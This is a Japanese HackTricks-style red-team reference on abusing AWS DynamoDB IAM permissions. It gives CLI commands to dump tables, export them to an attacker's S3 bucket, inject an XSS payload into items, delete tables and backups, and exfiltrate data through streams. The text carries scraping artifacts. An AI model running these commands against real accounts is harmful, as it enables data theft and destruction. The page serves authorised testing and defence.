htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ ! HackTricksをサポートする他の方法:
HackTricks およびHackTricks Cloud のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有 する
DynamoDB
詳細については、以下をチェックしてください:
page AWS - DynamoDB Enum dynamodb:BatchGetItem
この権限を持つ攻撃者は、主キーによってテーブルからアイテムを取得 できます(テーブルのすべてのデータを要求することはできません)。つまり、主キーを知っている必要があります(これはテーブルのメタデータ(describe-table
)を取得することで取得できます)。
コピー aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys" : [
{
"Id" : { // Primary keys name
"N" : "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
コピー aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region < regio n >
潜在的影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:GetItem
前の権限と同様に 、この権限は潜在的な攻撃者が、取得するエントリの主キーを指定するだけで1つのテーブルから値を読み取ることを可能にします:
コピー aws dynamodb get-item --table-name ProductCatalog --key file: ///tmp/a.json
// With a.json
{
"Id" : {
"N" : "205"
}
}
この権限を使用すると、transact-get-items
メソッドを使用することも可能です。
コピー aws dynamodb transact-get-items \
--transact-items file: ///tmp/a.json
// With a.json
[
{
"Get" : {
"Key" : {
"Id" : { "N" : "205" }
} ,
"TableName" : "ProductCatalog"
}
}
]
潜在的影響: テーブル内の機密情報を特定することによる間接的な昇格
dynamodb:Query
前の権限と同様 に、この権限は潜在的な攻撃者がエントリを取得するための主キーを指定して1つのテーブルから値を読み取ることを許可します。比較のサブセット を使用することができますが、主キーとの比較で許可されているのは "EQ" のみです(主キーは必ず表示される必要があります)。そのため、リクエストで全体のDBを取得するために比較を使用することはできません。
コピー aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator" : "EQ" ,
"AttributeValueList" : [ { "N" : "205" } ]
}
}
コピー aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region < regio n >
潜在的影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:Scan
この権限を使用して、簡単にテーブル全体をダンプ することができます。
コピー aws dynamodb scan --table-name < t_nam e > #Get data inside the table
潜在的影響: テーブル内の機密情報を特定することによる間接的な昇格
dynamodb:PartiQLSelect
この権限を使用して、簡単にテーブル全体をダンプ することができます。
コピー aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
この権限は、batch-execute-statement
を実行することも許可します。
コピー aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
しかし、値を指定して主キーを指定する必要があるため、それほど便利ではありません。
潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
この権限を持つと、攻撃者はテーブル全体を自分の選択したS3バケットにエクスポート することができます。
コピー aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb: < regio n > : < account-i d > :table/TargetTable \
--s3-bucket < attacker_s3_bucke t > \
--s3-prefix < optional_prefi x > \
--export-time < point_in_tim e > \
--region < regio n >
注意:これを機能させるには、テーブルにポイントインタイムリカバリが有効になっている必要があります。次のコマンドでテーブルがそれを持っているかどうかを確認できます:
コピー aws dynamodb describe-continuous-backups \
--table-name < tablenam e >
もし有効になっていない場合は、有効にする 必要があり、そのためには**dynamodb:ExportTableToPointInTime
**権限が必要です:
コピー aws dynamodb update-continuous-backups \
--table-name < valu e > \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled= true
潜在的影響: テーブル内の機密情報を特定することによる間接的な昇格
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
これらの権限を持っていると、攻撃者はバックアップから新しいテーブルを作成 できる(あるいはバックアップを作成してから別のテーブルに復元することもできる)。その後、必要な権限を持っていれば、バックアップから情報を確認 でき、それは本番のテーブルにはもう存在しないかもしれない 。
コピー aws dynamodb restore-table-from-backup \
--backup-arn < source-backup-ar n > \
--target-table-name < new-table-nam e > \
--region < regio n >
潜在的影響: テーブルのバックアップに機密情報がある場合の間接的な権限昇格
dynamodb:PutItem
この権限を持つユーザーは、テーブルに新しいアイテムを追加したり、既存のアイテムを新しいアイテムで置き換える ことができます。同じ主キーを持つアイテムがすでに存在する場合、全体のアイテムが新しいアイテムで置き換えられ ます。主キーが存在しない場合、指定された主キーを持つ新しいアイテムが作成 されます。
コピー ## Create new item with XSS payload
aws dynamodb put-item --table < table_nam e > --item file://add.json
### With add.json:
{
"Id" : {
"S" : "1000"
},
"Name" : {
"S" : "Marc"
},
"Description" : {
"S" : "<script>alert(1)</script>"
}
}
コピー aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region < regio n >
潜在的影響: DynamoDB テーブル内のデータを追加/変更することで、さらなる脆弱性/バイパスの悪用が可能になります
dynamodb:UpdateItem
この権限を持つユーザーは、アイテムの既存の属性を変更したり、新しい属性を追加 することができます。これはアイテム全体を置き換えるものではありません 。指定された属性のみが更新されます。プライマリキーがテーブルに存在しない場合、操作は指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。
コピー ## Update item with XSS payload
aws dynamodb update-item --table < table_nam e > \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id" : {
"S" : "1000"
}
}
### and val.json
{
":value" : {
"S" : "<script>alert(1)</script>"
}
}
コピー aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region < regio n >
潜在的影響: DynamoDB テーブル内のデータを追加/変更することで、さらなる脆弱性/バイパスを悪用する可能性があります。
dynamodb:DeleteTable
この権限を持つ攻撃者は、DynamoDB テーブルを削除し、データ損失を引き起こすことができます。
コピー aws dynamodb delete-table \
--table-name TargetTable \
--region < regio n >
潜在的な影響 : 削除されたテーブルに依存するサービスのデータ損失とサービスの中断。
dynamodb:DeleteBackup
この権限を持つ攻撃者は、災害復旧シナリオにおいてデータ損失を引き起こす可能性があるDynamoDBバックアップを削除 することができます。
コピー aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb: < regio n > : < account-i d > :table/TargetTable/backup/BACKUP_ID \
--region < regio n >
潜在的影響 : データの損失と災害復旧シナリオ中のバックアップからの回復の不能。
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
これらの権限を持つ攻撃者は、DynamoDB テーブルにストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視 することができます。これにより、攻撃者はデータ変更を監視し、データ漏洩につながる可能性があります。
DynamoDB テーブルにストリームを有効にする:
コピー bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled= true ,StreamViewType=NEW_AND_OLD_IMAGES \
--region < regio n >
ARNおよびその他の詳細を取得するためのストリームを説明します:
コピー bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region < regio n >
ストリームARNを使用してシャードイテレータを取得します:
コピー bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn < stream_ar n > \
--shard-id < shard_i d > \
--shard-iterator-type LATEST \
--region < regio n >
シャードイテレータを使用してストリームからデータにアクセスして流出させます:
コピー bashCopy codeaws dynamodbstreams get-records \
--shard-iterator < shard_iterato r > \
--region < regio n >
潜在的影響 : DynamoDB テーブルの変更のリアルタイムモニタリングとデータ漏洩。
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !